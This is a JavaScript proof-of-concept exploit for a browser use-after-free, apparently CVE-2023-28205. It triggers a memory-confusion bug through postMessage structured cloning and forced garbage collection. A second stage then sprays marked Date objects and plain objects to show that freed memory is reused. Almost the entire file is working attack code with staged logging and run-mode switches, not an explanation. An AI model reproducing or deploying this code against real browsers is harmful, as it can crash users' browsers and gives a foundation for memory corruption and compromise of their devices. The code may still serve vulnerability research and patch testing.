import { debug_log } from './module/utils.mjs'; import { Int } from './module/int64.mjs'; import { Memory } from './module/mem.mjs'; import { MB } from './module/constants.mjs'; const POC_MODE = (() => { try { const qs = globalThis?.location?.search ?? ''; const v = new URLSearchParams(qs).get('mode'); return v ?? 'crash'; } catch { return 'crash'; } })(); const LOG_KEY = 'uaf-2023-28205.logs'; const RUN_ID = (() => { try { const k = 'uaf-2023-28205.run_id'; const prev = globalThis?.localStorage?.getItem(k); const next = String((Number.parseInt(prev ?? '0', 10) || 0) + 1); globalThis?.localStorage?.setItem(k, next); return next; } catch { return String(Date.now()); } })(); function nowIso() { try { return new Date().toISOString(); } catch { return String(Date.now()); } } function persist_log(msg) { try { const entry = { t: nowIso(), run: RUN_ID, mode: POC_MODE, probe: PROBE_LEVEL, msg: String(msg) }; const raw = globalThis?.localStorage?.getItem(LOG_KEY); let arr = []; if (raw) { try { const parsed = JSON.parse(raw); if (Array.isArray(parsed)) arr = parsed; } catch {} } arr.push(entry); const maxEntries = 2000; if (arr.length > maxEntries) arr = arr.slice(arr.length - maxEntries); globalThis?.localStorage?.setItem(LOG_KEY, JSON.stringify(arr)); } catch {} } function log(msg) { try { debug_log(msg); } catch {} persist_log(msg); } const PROBE_LEVEL = (() => { try { const qs = globalThis?.location?.search ?? ''; const v = new URLSearchParams(qs).get('probe'); const n = Number.parseInt(v ?? '1', 10); if (!Number.isFinite(n)) return 1; return Math.max(1, Math.min(2, n)); } catch { return 1; } })(); function sleep(ms = 20) { return new Promise(resolve => setTimeout(resolve, ms)); } function gc() { new Uint8Array(4 * 1024 * 1024); } function pressureAlloc(rounds = 16, size = 0x200000) { const keep = []; for (let i = 0; i < rounds; i++) { keep.push(new ArrayBuffer(size)); } return keep; } function describeValue(v) { const t = typeof v; if (v === null) return 'null'; if (t !== 'object' && t !== 'function') return `${t}:${String(v)}`; let ctor = ''; try { ctor = v?.constructor?.name ?? ''; } catch {} let tag = ''; try { tag = Object.prototype.toString.call(v); } catch {} return `${t}${ctor ? `(${ctor})` : ''} ${tag}`; } function tryGet(obj, prop) { try { return obj?.[prop]; } catch { return undefined; } } function sprayReplacementObjects(count = 50000) { const MARKER = 0x41414141; const keepers = []; for (let i = 0; i < count; i++) { const o = { id: 0x1337, marker: MARKER, idx: i }; o.p0 = 13.37; o.p1 = 13.38; keepers.push(o); } return keepers; } function sprayReplacementDates(count = 60000, marker = 0x41414141) { const keepers = []; for (let i = 0; i < count; i++) { keepers.push(new Date(marker)); } return keepers; } function buildIdentityMap(arr) { const m = new Map(); for (let i = 0; i < arr.length; i++) { m.set(arr[i], i); } return m; } function findIdentityHit(needle, haystack, maxScan = haystack.length) { const lim = Math.min(maxScan, haystack.length); for (let i = 0; i < lim; i++) { if (needle === haystack[i]) return i; } return -1; } function sprayStructures() { const keepers = []; for (let i = 0; i < 50000; i++) { let o = {a: 1}; o['p' + i] = i; keepers.push(o); } return keepers; } function createObjectStructure(num_elems) { let root = new Map(); let msg = root; let foo = []; // Markers to identify the confusion for (let i = 0; i < 100; i++) { foo.push(new Date(0xffff)); } for (let i = 0; i < num_elems; i++) { const d = new Date(i); const map = new Map(); msg.set(d, [map, foo]); msg = map; } return root; } export async function main() { log("[*] Exploit started..."); log('[*] Mode: ' + String(POC_MODE)); if (POC_MODE === 'probe') log('[*] Probe level: ' + String(PROBE_LEVEL)); const num_elems = 1600; let root = createObjectStructure(num_elems); let msg = root; let data2 = null; let idx = null; let attempts = 0; let warm = null; if (POC_MODE !== 'crash') warm = sprayStructures(); log("[*] Starting Stage 1: Triggering Logic Error..."); while (true) { attempts++; if (attempts % 100 === 0) log("[*] Attempt " + attempts); let data = null; const prom = new Promise(resolve => { addEventListener('message', event => { data = event; resolve(); }, { once: true }); }); postMessage(msg, origin); await prom; data = data.data; gc(); await sleep(0); let i; try { for (i = 0; i < num_elems; i++) { const k = data.keys().next().value; if (k.getTime() === 0xffff) { idx = i; break; } data = data.values().next().value[0]; } } catch { idx = i; try { data2 = data.keys().next().value; } catch { data2 = null; } break; } } log('[+] Stage 1 Triggered! Confused object found at idx: ' + idx); if (POC_MODE === 'crash') { alert('triggered, try crash'); log('[+] idx: ' + idx); return; } if (data2) { log("[*] Starting Stage 2: Verifying controllable corruption..."); log('[*] data2: ' + describeValue(data2)); // 1. Release references root = null; msg = null; warm = null; // 2. Freeing log('[*] Freeing original structures...'); for (let k = 0; k < 100; k++) { gc(); } await sleep(100); log('[*] Spraying replacement objects...'); const sprayedDates = sprayReplacementDates(90000, 0x41414141); const sprayedObjects = sprayReplacementObjects(60000); pressureAlloc(12, 2 * MB); for (let k = 0; k < 50; k++) gc(); await sleep(20); let reusedDateIdx = -1; let reusedObjIdx = -1; try { reusedDateIdx = findIdentityHit(data2, sprayedDates, 50000); reusedObjIdx = findIdentityHit(data2, sprayedObjects, 50000); } catch { reusedDateIdx = -1; reusedObjIdx = -1; } log('[*] Probe identityReuse dateIdx=' + String(reusedDateIdx) + ' objIdx=' + String(reusedObjIdx)); if (reusedDateIdx !== -1 || reusedObjIdx !== -1) log('[+] Strong reuse proof: stale reference became identical to a sprayed object (identity hit).'); if (PROBE_LEVEL >= 2) { const marker = tryGet(data2, 'marker'); const rid = tryGet(data2, 'id'); const rix = tryGet(data2, 'idx'); let dt = undefined; try { if (typeof data2?.getTime === 'function') dt = data2.getTime(); } catch { dt = 'throw'; } log('[*] Probe props getTime=' + String(dt) + ' id=' + String(rid) + ' marker=' + String(marker) + ' idx=' + String(rix)); if (marker === 0x41414141) { log('[+] Memory reuse observed (marker hit). This is more than a pure DoS signal.'); } else if (dt === 0x41414141) { log('[+] Memory reuse observed (Date getTime marker hit). This is more than a pure DoS signal.'); } } if (sprayedDates.length === 0 || sprayedObjects.length === 0) { log(''); } } else { log("[-] Failed to get confused object."); } }